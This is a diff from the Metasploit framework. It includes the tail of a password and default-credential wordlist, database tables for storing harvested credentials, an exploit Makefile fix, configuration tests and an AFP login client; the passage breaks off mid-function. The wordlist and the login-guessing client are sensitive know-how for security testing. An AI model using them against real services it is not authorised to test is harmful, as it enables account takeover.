+robbie +robert +roberta +roberto +robin +robinson +rochelle +rock +rocker +rocket +rockme +rocknroll +rockon +rocks +rockstar +rocku +rocky +rockyou +rodney +rodopi +rodrigo +rodriguez +roland +role1 +rollerblade +rolltide +roman123 +romance +romania +romeo +ronald +ronaldinho +ronaldo +ronnie +ronson +rooney +rooster +root +root123 +root1234 +root4 +roota +rootadmin +rootme +rootpass +rootroot +rosario +rosebud +rosedale +roses +rosie +rosita +rotrot +round123 +router +roxana +roxanne +rsadmin +ruben +runder +runescape +runner +rush2112 +russell +russia +rusty +rutabaga +rw +rwa +rwmaint +ryan +ryanl +s!a@m#n$p%c +s3cret +s3cur3d +sabrina +sadie +sagitario +sailor +saints +sakura +salamander +sales +sallasana +sally +salope +salvador +samantha +sammie +sammy +samson +samsun +samsung +samsung34 +samuel +san-fran +sanayounes +sanchez +sandman +sandra +sandy +sanfran +santana +santiago +santos +sap123 +sapphire +sarah +sarita +sasha +sasman +sassy +sasuke +saturn +savage +savanna +savannah +sayang +saynomore +scarface +school +scifix +sclg +scmchangeme +scooby +scoobydoo +scooter +scorpio +scorpion +scotland +scott +scotty +scout +scrappy +scruffy +sebastian +secacm +secofr +secret +secure +secure123 +secure6 +security +seekanddestroy +selena +semmi +semperfi +senioro +september +serena +serenity +sergio +seri +serial# +sertafu +service +setmefree +setup +setup/nopasswd +seven +seventeen +sexsex +sexy +sexy2 +sexy6 +sexybabe +sexybaby +sexybitch +sexygirl +sexyl +sexylady +sexylove +sexymama +sexyme +sexyo +shadow +shadow1 +shadowl +shaggy +shakira +shakyamuni +shalom +shane +shannon +sharon +shasha +shaved +shawn +shawty +sheena +sheila +shelby +shelly +shin +shineonyou +shirley +shit +shithead +shiva +shooter +shopping +shorty +shortyl +shs +shuriken +shutdown +shutup +sidney +siemens123 +siempre! +sierra +signa +silver +silvia +simba +simon +simonb +simone +simple +simpleplan +simpson +simpsons +singer +single +sister +sisters +sitecom +skate +skater +skipper +skippy +skittles +skyler +skyline +skysky21 +skywalker +slayer +sldkj754 +slideshow +slipknot +slut +sluts +sma +smallbusiness +smallville +smcadmin +smelly +smile +smiles +smiley +smith +smokey +smooth +smudge +snake +snickers +sniper +snmp +snmp-Trap +snmpd +snmptrap +snoopy +snowball +snowflake +snowman +snuggles +soccer +soccer1 +soccer2 +soccerl +soccero +socent +sofia +sofresh +softball +softballl +software +sofuck +solaris +soledad +something +somtik +sonia +sophia +sophie +sosict +soulmate +southside +sp99dd +spacemonkeys +spanky +sparkle +sparky +special +specialist +speedxess +speedy +spencer +spider +spiderma +spiderman +spike +spike04 +spirit +spitfire +spoiled +sponge +spongebob +spooky +spooml +sporting +sports +spring +sprite +sq!us3r +squ1rrel +squirt +srinivas +ssladmin +ssp +stacey +stanley +star +starfish +stargate +stark123 +starl +starlight +stars +start123 +startrek +starwars +state119 +stay-off +steaua +steelers +stefan +stella +steph +stephanie +stephen +steve +steven +stevie +stewart +sticky +stingray +stinky +storageserver +store +stormy +strasburg +stratauser +stratfor +strawberry +strike +stuart +student +stupid +sublime +success +suck +sucker +suckit +suckme +sucks +sugar +summer +summero +sun +sun12345 +sunflower +sunny +sunset +sunsh1ne! +sunshine +sunshine1 +sunvision +super +supergeil +supergirl +superman +superpass +superstar +superstart +superuser +supervisor +support +supportpw +surecom +surfer +surt +susana +suzanne +suzuki +svcPASS83 +sweet +sweet16 +sweetheart +sweetie +sweetl +sweetness +sweetpea +sweets +sweety +swimmer +swimming +switch +swordfis +swordfish +sy123456 +sydney +symantec +symbol +sync +synnet +sys +sys/change_on_install +sysAdmin +sysadm +sysadmin +sysadmpw +sysbin +syslib +sysopr +syspw +system +system1 +system32 +system_admin +sysu +t00lk1t +t00tt00t +t0ch20x +t0ch88 +t0m&j3rry +t0talc0ntr0l4! +t1m3l0rd +taco66 +tagada +tagged +taki +talent +tamara +tanglefoot +tania +tanner +tarantula1 +tarheels +tasha +tasmannet +tatercounter2000 +tatiana +tattoo +taurus +taylor +taytay +tazmania +tdvcth +te +teX1 +teacher +teamo +teamomucho +tech +technolgi +teddy +teddybear +teen +teens +teiubesc +tekiero +telco +tele +telecom +telefone +tellabs#1 +telos +temp11 +temp1234 +temp12345 +temppass +tennis +tequiero +tequieromucho +tequila +teresa +term1nat0r +terrell +terry +test +test1 +test100 +test123 +test1234 +test2 +testbed +tester +testing +testpass +testtest +texas +thailand +the +thebest +thegame +theman +themaster01 +theone +theresa +therock +theused +thisisapassword1 +thomas +three4me +throwaway +thuglife +thumper +thunder +thx1138 +tiaranet +tickle +tiffany +tiger +tiger1 +tiger123 +tigers +tigger +tigger1 +tiggerl +time +time_out +timely +timmy +timothy +tini +tinker +tinkerbell +tintin +tiny +titanic +titkos +tits +tiv0li +tivoli +tivonpw +tj1234 +tlah +tmp123 +tokiohotel +tomcat +tommy +tony +toor +tootsie +topgun +toplayer +topsecret +toptop +tornado@ +torres +toshy99 +totototo +touchpwd= +tour +toyota +tr650 +tracey +trade +trancell +trap +travis +trendimsa1.0 +trevor +triangulation +trinidad +trinity +triptrap +trisha +tristan +trixie +trmcnfg +trooper +trouble +trucks +truelove +trustno +trustno1 +tslinux +tucker +tuff1234 +tunix +turkey +turnkey +turtle +tutor +tuxalize +tweety +tweetybird +tweetyl +twilight +twinkle +twins +tyler +tyrone +tyson +uClinux +uboot +ucsucs +umountfs +umountfsys +umountsys +undertaker +unicorn +unique +united +united123 +united99 +unix +uplink +urchin +user +user0000 +userNotU +usher +usulll +uucp +uucpadm +vagina +valentin +valentina +valentine +valentino +valeria +valerie +vampire +vanesa +vanessa +vanilla +vatefairefoutre +vatten +vegeta +venigo +ventilator +veronica +vertex25 +vfnmdfie +vgnadmin +vicky +victor +victoria +victory +video +vienna12 +vienna88 +viewmaster +viewuser1 +viking +vikings +vince123 +vincent +violet +violeta +viper +virgin +virginia +virginia11 +virgo +vishal123 +vision +vision2 +visor +visual +vitaly +vitesse +vivian +viviana +vivivi +vlis +voip123 +volcom +volition +volleyball +voodoo +voyager +vpasp +w00tw00t +w0rkplac3rul3s +w2402 +w8w00rd +wachtwoord +walker +wallace +walter +wampp +wanker +wanmei +warcraft +warpdrive +warren +warrior +warriors +water +waterfire12 +watermelon +wave123 +wayne +weasel +web +webadmin +webibm +weblink +weblogic +webmaster +weeslz +welcome +welcome1 +wendimia +wendy +wesley +west123 +westlife +westside +wg +whatever +white +whitebird +whitney +whore +whynot +wibbles +wicked +wildcat +wildcats +william +williams +willie +willow +wilson +windows +windows7 +winner +winnie +winston +winston1 +winter +winterm +wipro123 +wizard +wjltnt +wlcsystem +wlpisystem +wlsedb +wlsepassword +wodj +woelco +wolf +wolfgang +wolfpack +wolverin +wolves +wombat +women +woody +world +wrestling +wrgg15_di524 +write +wutang +www +wyse +x +x-admin +x40rocks +x6zynd56 +xampp +xavier +xbox +xbox360 +xboxe6 +xceladmin +xd +xdfk9874t3 +xdr56tfc +xerox +xiazhi +ximena +xinmen +xitgmLwmp +xljlbj +xmux +xo11nE +xpsm1210 +xunlei +xupamisto +xxxx +xxxxx +xxxxxx +xxxxxxxx +xxyyzz +xyuxyu +xyzall +xyzzy +yabadabadoo +yahoo +yakiniku +yamaha +yankee +yankees +yasmin +year2000 +yellow +yellow123 +yellow22 +yes90125 +yesenia +yolanda +yomama +young +yourmom +yourock +yousuck +yoyoyo +ytrewq +yugioh +yuiop +yvette +yvonne +yyl +z0x9c8v7 +zacefron +zachary +zaq1@WSX +zaq1xsw2 +zaq1xsw2cde3 +zaqwsxcde +zaxscdvf +zazazaza +zbaaaca +zebra +zeosx +zero0zero +zero2hero +zjaaadc +zmalqp10 +zodiac666 +zombie +zoomadsl +zse4rfv +zxcpoi123 +zxcvbn +zxcvbnm +zzzz +zzzzzz diff --git a/data/meterpreter/ext_server_android.jar b/data/meterpreter/ext_server_android.jar new file mode 100644 index 0000000000..b6a01cac09 Binary files /dev/null and b/data/meterpreter/ext_server_android.jar differ diff --git a/lib/zip/test/data/generated/empty.txt b/db/migrate/.git-keep similarity index 100% rename from lib/zip/test/data/generated/empty.txt rename to db/migrate/.git-keep diff --git a/db/schema.rb b/db/schema.rb index 42093e6764..ba0fad081a 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20130717150737) do +ActiveRecord::Schema.define(:version => 20140801150537) do create_table "api_keys", :force => true do |t| t.text "token" @@ -28,6 +28,16 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.datetime "updated_at" end + create_table "credential_cores_tasks", :id => false, :force => true do |t| + t.integer "core_id" + t.integer "task_id" + end + + create_table "credential_logins_tasks", :id => false, :force => true do |t| + t.integer "login_id" + t.integer "task_id" + end + create_table "creds", :force => true do |t| t.integer "service_id", :null => false t.datetime "created_at", :null => false @@ -167,6 +177,113 @@ ActiveRecord::Schema.define(:version => 20130717150737) do t.binary "prefs" end + create_table "metasploit_credential_cores", :force => true do |t| + t.integer "origin_id", :null => false + t.string "origin_type", :null => false + t.integer "private_id" + t.integer "public_id" + t.integer "realm_id" + t.integer "workspace_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "logins_count", :default => 0 + end + + add_index "metasploit_credential_cores", ["origin_type", "origin_id"], :name => "index_metasploit_credential_cores_on_origin_type_and_origin_id" + add_index "metasploit_credential_cores", ["private_id"], :name => "index_metasploit_credential_cores_on_private_id" + add_index "metasploit_credential_cores", ["public_id"], :name => "index_metasploit_credential_cores_on_public_id" + add_index "metasploit_credential_cores", ["realm_id"], :name => "index_metasploit_credential_cores_on_realm_id" + add_index "metasploit_credential_cores", ["workspace_id", "private_id"], :name => "unique_private_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id", "private_id"], :name => "unique_realmless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "public_id"], :name => "unique_public_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "private_id"], :name => "unique_publicless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id", "private_id"], :name => "unique_complete_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], :name => "unique_privateless_metasploit_credential_cores", :unique => true + add_index "metasploit_credential_cores", ["workspace_id"], :name => "index_metasploit_credential_cores_on_workspace_id" + + create_table "metasploit_credential_logins", :force => true do |t| + t.integer "core_id", :null => false + t.integer "service_id", :null => false + t.string "access_level" + t.string "status", :null => false + t.datetime "last_attempted_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true + add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true + + create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t| + t.integer "metasploit_credential_core_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores" + + create_table "metasploit_credential_origin_imports", :force => true do |t| + t.text "filename", :null => false + t.integer "task_id" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_imports", ["task_id"], :name => "index_metasploit_credential_origin_imports_on_task_id" + + create_table "metasploit_credential_origin_manuals", :force => true do |t| + t.integer "user_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_manuals", ["user_id"], :name => "index_metasploit_credential_origin_manuals_on_user_id" + + create_table "metasploit_credential_origin_services", :force => true do |t| + t.integer "service_id", :null => false + t.text "module_full_name", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], :name => "unique_metasploit_credential_origin_services", :unique => true + + create_table "metasploit_credential_origin_sessions", :force => true do |t| + t.text "post_reference_name", :null => false + t.integer "session_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], :name => "unique_metasploit_credential_origin_sessions", :unique => true + + create_table "metasploit_credential_privates", :force => true do |t| + t.string "type", :null => false + t.text "data", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "jtr_format" + end + + add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true + + create_table "metasploit_credential_publics", :force => true do |t| + t.string "username", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_publics", ["username"], :name => "index_metasploit_credential_publics_on_username", :unique => true + + create_table "metasploit_credential_realms", :force => true do |t| + t.string "key", :null => false + t.string "value", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + add_index "metasploit_credential_realms", ["key", "value"], :name => "index_metasploit_credential_realms_on_key_and_value", :unique => true + create_table "mod_refs", :force => true do |t| t.string "module", :limit => 1024 t.string "mtype", :limit => 128 diff --git a/external/source/exploits/CVE-2013-2465/Makefile b/external/source/exploits/CVE-2013-2465/Makefile index 4ee5294f12..1c9f5711e3 100644 --- a/external/source/exploits/CVE-2013-2465/Makefile +++ b/external/source/exploits/CVE-2013-2465/Makefile @@ -7,7 +7,7 @@ CLASSES = Exploit.java all: $(CLASSES:.java=.class) install: - mv *.class ../../../../data/exploits/CVE-2013-3465/ + mv *.class ../../../../data/exploits/CVE-2013-2465/ clean: rm -rf *.class diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature new file mode 100644 index 0000000000..1d163cd860 --- /dev/null +++ b/features/msfconsole/database_yml.feature @@ -0,0 +1,158 @@ +Feature: `msfconsole` `database.yml` + + In order to connect to the database in `msfconsole` + As a user calling `msfconsole` from a terminal + I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence): + + 1. An explicit argument to the `-y` flag to `msfconsole` + 2. The MSF_DATABASE_CONFIG environment variable + 3. The user's `~/.msf4/database.yml` + 4. `config/database.yml` in the metasploit-framework checkout location. + + Scenario: With all 4 locations, --yaml wins + Given a file named "command_line.yml" with: + """ + test: + adapter: postgresql + database: command_line_metasploit_framework_test + username: command_line_metasploit_framework_test + """ + And a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test --yaml command_line.yml` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "command_line_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG wins + Given a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "environment_metasploit_framework_test" + + Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "user_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "project_metasploit_framework_test" + + + Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" does not exist + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "db_status" + And I type "exit" + Then the output should not contain "command_line_metasploit_framework_test" + And the output should not contain "environment_metasploit_framework_test" + And the output should not contain "user_metasploit_framework_test" + And the output should not contain "project_metasploit_framework_test" + And the output should contain "[*] postgresql selected, no connection" diff --git a/features/step_definitions/env.rb b/features/step_definitions/env.rb new file mode 100644 index 0000000000..c554ca0264 --- /dev/null +++ b/features/step_definitions/env.rb @@ -0,0 +1,20 @@ +Given /^I unset the environment variables:$/ do |table| + table.hashes.each do |row| + variable = row['variable'].to_s.upcase + + # @todo add extension to Announcer + announcer.instance_eval do + if @options[:env] + print "$ unset #{variable}" + end + end + + current_value = ENV.delete(variable) + + # if original_env already has the key, then the true original was already recorded from a previous unset or set, + # so don't record the current value as it will cause ENV not to be restored after the Scenario. + unless original_env.key? variable + original_env[variable] = current_value + end + end +end \ No newline at end of file diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb new file mode 100644 index 0000000000..9e9ffa552a --- /dev/null +++ b/features/step_definitions/project.rb @@ -0,0 +1,14 @@ +require 'metasploit/framework/database/cucumber' + +Given /^the project "database.yml" does not exist$/ do + Metasploit::Framework::Database::Cucumber.backup_project_configurations +end + +Given /^the project "database.yml" exists with:$/ do |file_content| + Metasploit::Framework::Database::Cucumber.backup_project_configurations + write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content) +end + +After do + Metasploit::Framework::Database::Cucumber.restore_project_configurations +end \ No newline at end of file diff --git a/features/support/bin/stty b/features/support/bin/stty new file mode 100755 index 0000000000..8ff68bb1c5 --- /dev/null +++ b/features/support/bin/stty @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +case ARGV[0] + when 'size' + puts "30 134" + when '-a' + puts <; + eol2 = ; erase = ^?; intr = ^C; kill = ^U; lnext = ^V; + min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T; + stop = ^S; susp = ^Z; time = 0; werase = ^W; +EOS + when '-g' + puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400" +end + +exit 0 diff --git a/features/support/env.rb b/features/support/env.rb new file mode 100644 index 0000000000..36f3884d1f --- /dev/null +++ b/features/support/env.rb @@ -0,0 +1,31 @@ +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. + +require 'cucumber/rails' +require 'aruba/cucumber' + +# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In +# order to ease the transition to Capybara we set the default here. If you'd +# prefer to use XPath just remove this line and adjust any selectors in your +# steps to use the XPath syntax. +Capybara.default_selector = :css + +# By default, any exception happening in your Rails application will bubble up +# to Cucumber so that your scenario will fail. This is a different from how +# your application behaves in the production environment, where an error page will +# be rendered instead. +# +# Sometimes we want to override this default behaviour and allow Rails to rescue +# exceptions and display an error page (just like when the app is running in production). +# Typical scenarios where you want to do this is when you test your error pages. +# There are two ways to allow Rails to rescue exceptions: +# +# 1) Tag your scenario (or feature) with @allow-rescue +# +# 2) Set the value below to true. Beware that doing this globally is not +# recommended as it will mask a lot of errors for you! +# +ActionController::Base.allow_rescue = false diff --git a/features/support/hooks.rb b/features/support/hooks.rb new file mode 100644 index 0000000000..e97d8976a4 --- /dev/null +++ b/features/support/hooks.rb @@ -0,0 +1,4 @@ +Before do + set_env('RAILS_ENV', 'test') + @aruba_timeout_seconds = 3.minutes +end \ No newline at end of file diff --git a/features/support/stty.rb b/features/support/stty.rb new file mode 100644 index 0000000000..a8afb704c4 --- /dev/null +++ b/features/support/stty.rb @@ -0,0 +1,11 @@ +require 'pathname' + +support = Pathname.new(__FILE__).realpath.parent + +paths = [ + # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty + # output. + support.join('bin').to_path, + ENV['PATH'] +] +ENV['PATH'] = paths.join(File::PATH_SEPARATOR) diff --git a/lib/fastlib.rb b/lib/fastlib.rb index efbff68c29..7af9bafa20 100755 --- a/lib/fastlib.rb +++ b/lib/fastlib.rb @@ -378,6 +378,10 @@ module Kernel #:nodoc:all # This method handles the loading of FASTLIB archives # def fastlib_require(name) + if name.respond_to? :to_path + name = name.to_path + end + name = name + ".rb" if not name =~ /\.rb$/ return false if fastlib_already_loaded?(name) return false if fastlib_already_tried?(name) diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index f30e4d4399..1555b00532 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -1,3 +1,29 @@ +# +# Gems +# +# gems must load explicitly any gem declared in gemspec +# @see https://github.com/bundler/bundler/issues/2018#issuecomment-6819359 +# + +require 'active_support' +require 'bcrypt' +require 'json' +require 'msgpack' +require 'metasploit/model' +require 'nokogiri' +require 'packetfu' +# railties has not autorequire defined +# rkelly-remix is a fork of rkelly, so it's autorequire is 'rkelly' and not 'rkelly-remix' +require 'rkelly' +require 'robots' +require 'zip' + +# +# Project +# + +require 'msf/core' + # Top-level namespace that is shared between {Metasploit::Framework # metasploit-framework} and pro, which uses Metasploit::Pro. module Metasploit @@ -5,30 +31,6 @@ module Metasploit # works in compatible manner with activerecord's rake tasks and other # railties. module Framework - # Returns the environment for {Metasploit::Framework}. Checks - # `METASPLOIT_FRAMEWORK_ENV` environment variable for value. Defaults to - # `'development'` if `METASPLOIT_FRAMEWORK_ENV` is not set in the - # environment variables. - # - # {env} is a ActiveSupport::StringInquirer like `Rails.env` so it can be - # queried for its value. - # - # @example check if environment is development - # if Metasploit::Framework.env.development? - # # runs only when in development - # end - # - # @return [ActiveSupport::StringInquirer] the environment name - def self.env - unless instance_variable_defined? :@env - name = ENV['METASPLOIT_FRAMEWORK_ENV'] - name ||= 'development' - @env = ActiveSupport::StringInquirer.new(name) - end - - @env - end - # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. # @@ -42,4 +44,4 @@ module Metasploit @root end end -end \ No newline at end of file +end diff --git a/lib/metasploit/framework/afp/client.rb b/lib/metasploit/framework/afp/client.rb new file mode 100644 index 0000000000..2bc578d7a7 --- /dev/null +++ b/lib/metasploit/framework/afp/client.rb @@ -0,0 +1,323 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'msf/core/exploit/tcp' + +module Metasploit + module Framework + module AFP + module Client + + def next_id + @request_id ||= -1 + @request_id += 1 + + @request_id + end + + def get_info + packet = "\00" # Flag: Request + packet << "\x03" # Command: FPGetSrvrInfo + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x00" # Length + packet << "\x00\x00\x00\x00" # Reserved + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_info_response(response) + end + + def open_session + packet = "\00" # Flag: Request + packet << "\x04" # Command: DSIOpenSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x06" # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x01" # Attention Quantum + packet << "\x04" # Length + packet << "\x00\x00\x04\x00" # 1024 + + sock.put(packet) + + response = sock.timed_read(1024) + return parse_open_session_response(response) + end + + def login(user, pass) + if user == '' + return no_user_authent_login + end + + p = OpenSSL::BN.new("BA2873DFB06057D43F2024744CEEE75B", 16) + g = OpenSSL::BN.new("7", 10) + ra = OpenSSL::BN.new('86F6D3C0B0D63E4B11F113A2F9F19E3BBBF803F28D30087A1450536BE979FD42', 16) + ma = g.mod_exp(ra, p) + + padded_user = (user.length + 1) % 2 != 0 ? user + "\x00" : user + bin_user = [padded_user.length, padded_user].pack("Ca*") + + length = 18 + bin_user.length + ma.to_s(2).length + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [length].pack('N') # Length (42) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" # AFPVersion: AFP3.1 + packet << "\x09\x44\x48\x43\x41\x53\x54\x31\x32\x38" #UAM: DHCAST128 + packet << bin_user # username + packet << ma.to_s(2) # random number + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + #vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + case error_code + when -5001 #kFPAuthContinue + return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma, + :password => pass, :user => user}) + when -5023 #kFPUserNotAuth (User dosen't exists) + #print_status("AFP #{rhost}:#{rport} User #{user} dosen't exists") + return :skip_user + else + return :connection_error + end + + end + + def close_session + packet = "\00" # Flag: Request + packet << "\x01" # Command: DSICloseSession + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" #Data offset + packet << "\x00\x00\x00\x00" #Length + packet << "\x00\x00\x00\x00" #Reserved + + sock.put(packet) + end + + def no_user_authent_login + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << "\x00\x00\x00\x18" # Length (24) + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x12" # AFPCommand: FPLogin (18) + packet << "\x06\x41\x46\x50\x33\x2e\x31" #AFP3.1 + packet << "\x0f\x4e\x6f\x20\x55\x73\x65\x72\x20\x41\x75\x74\x68\x65\x6e\x74" #UAM: No User Authent + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + + if error_code == 0 + return :true + else + return false + end + end + + def parse_login_response_add_send_login_count(response, data) + dhx_s2civ = 'CJalbert' + dhx_c2civ = 'LWallace' + + flags, command, request_id, error_code, length, reserved = parse_header(response) + body = get_body(response, length) + id, mb, enc_data = body.unpack("nH32a*") + + mb = OpenSSL::BN.new(mb, 16) + k = mb.mod_exp(data[:ra], data[:p] ) + + cipher = OpenSSL::Cipher.new('cast5-cbc').decrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_s2civ + cipher.padding = 0 + + nonce = cipher.update(enc_data) + nonce << cipher.final + nonce = nonce[0..15] + nonce = OpenSSL::BN.new(nonce, 2) + 1 + + plain_text = nonce.to_s(2) + data[:password].ljust(64, "\x00") + cipher = OpenSSL::Cipher.new('cast5-cbc').encrypt + cipher.key = k.to_s(2) + cipher.iv = dhx_c2civ + auth_response = cipher.update(plain_text) + auth_response << cipher.final + + packet = "\00" # Flag: Request + packet << "\x02" # Command: DSICommand + packet << [next_id].pack('n') # requestID + packet << "\x00\x00\x00\x00" # Data offset + packet << [auth_response.length + 2].pack("N") # Length + packet << "\x00\x00\x00\x00" # Reserved + packet << "\x13" # AFPCommand: FPLoginCont (19) + packet << "\x00" + packet << [id].pack('n') + packet << auth_response + + sock.put(packet) + + begin + response = sock.timed_read(1024, self.login_timeout) + rescue Timeout::Error + vprint_error("AFP #{rhost}:#{rport} Login timeout (AFP server delay response for 20 - 22 seconds after 7 incorrect logins)") + return :connection_error + end + + flags, command, request_id, error_code, length, reserved = parse_header(response) + if error_code == 0 + return true + else + return false + end + end + + def parse_open_session_response(response) + _, _, _, error_code, _, _ = parse_header(response) + return error_code == 0 ? true : false + end + + def parse_info_response(response) + parsed_data = {} + + flags, command, request_id, error_code, length, reserved = parse_header(response) + raise "AFP #{rhost}:#{rport} Server response with error" if error_code != 0 + body = get_body(response, length) + machine_type_offset, afp_versions_offset, uam_count_offset, icon_offset, server_flags = + body.unpack('nnnnn') + + server_name_length = body.unpack('@10C').first + 